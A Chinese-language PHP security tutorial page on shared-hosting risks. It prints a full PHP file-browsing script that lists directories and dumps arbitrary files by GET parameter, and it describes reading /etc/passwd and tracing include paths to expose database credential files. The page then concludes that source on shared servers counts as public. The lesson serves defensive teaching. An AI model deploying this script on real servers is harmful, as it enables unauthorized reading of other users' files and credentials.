編程學(xué)習(xí)網(wǎng) > PHP技術(shù) > PHP安全 > PHP安全-文件系統(tǒng)瀏覽
2016
03-15

PHP安全-文件系統(tǒng)瀏覽

 文件系統(tǒng)瀏覽

  除了能在共享服務(wù)器上讀取任意文件之外,攻擊者還能建立一個(gè)可以瀏覽文件系統(tǒng)的腳本。由于你的大多數(shù)敏感文件不會(huì)保存在網(wǎng)站主目錄下,此類腳本一般用于找到你的源文件的所在位置。請(qǐng)看下例:

 

  <pre>

 

  <?php

 

  if (isset($_GET['dir']))

  {

    ls($_GET['dir']);

  }

  elseif (isset($_GET['file']))

  {

    cat($_GET['file']);

  }

  else

  {

    ls('/');

  }

 

  function cat($file)

  {

    echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8'));

  }

 

  function ls($dir)

  {

    $handle = dir($dir);

 

    while ($filename = $handle->read())

    {

      $size = filesize("$dir$filename");

 

      if (is_dir("$dir$filename"))

      {

        $type = 'dir';

        $filename .= '/';

      }

      else

      {

        $type = 'file';

      }

 

      if (is_readable("$dir$filename"))

      {

        $line = str_pad($size, 15);

        $line .= "<a href=\"{$_SERVER['PHP_SELF']}";

        $line .= "?$type=$dir$filename\">$filename</a>";

      }

      else

      {

        $line = str_pad($size, 15);

        $line .= $filename;

      }

 

      echo "$line\n";

    }

 

    $handle->close();

  }

 

  ?>

 

  </pre>

 

  攻擊者可能會(huì)首先察看/etc/passwd文件或/home目錄以取得該服務(wù)器上的用戶名清單;可以通過語言的結(jié)構(gòu)如include或require來發(fā)現(xiàn)保存在網(wǎng)站主目錄以外的源文件所在位置。例如,考慮一下下面的腳本文件/home/victim/public_html/admin.php:

 

  <?php

 

  include '../inc/db.inc';

 

  /* ... */

 

  ?>

 

  如果攻擊者設(shè)法顯示了該文件的源碼,就可以發(fā)現(xiàn)db.inc的所在位置,同時(shí)他可以使用readfile()函數(shù)來使其內(nèi)容暴露,取得了數(shù)據(jù)庫的訪問權(quán)限。這樣,在這個(gè)環(huán)境中保存db.inc于網(wǎng)站主目錄之外的做法并未起到保護(hù)作用。

  這一攻擊說明了為什么要把共享服務(wù)器上的所有源文件看成是公開的,并要選擇數(shù)據(jù)庫實(shí)現(xiàn)所有敏感數(shù)據(jù)的保存。

 

掃碼二維碼 獲取免費(fèi)視頻學(xué)習(xí)資料

Python編程學(xué)習(xí)

查 看2022高級(jí)編程視頻教程免費(fèi)獲取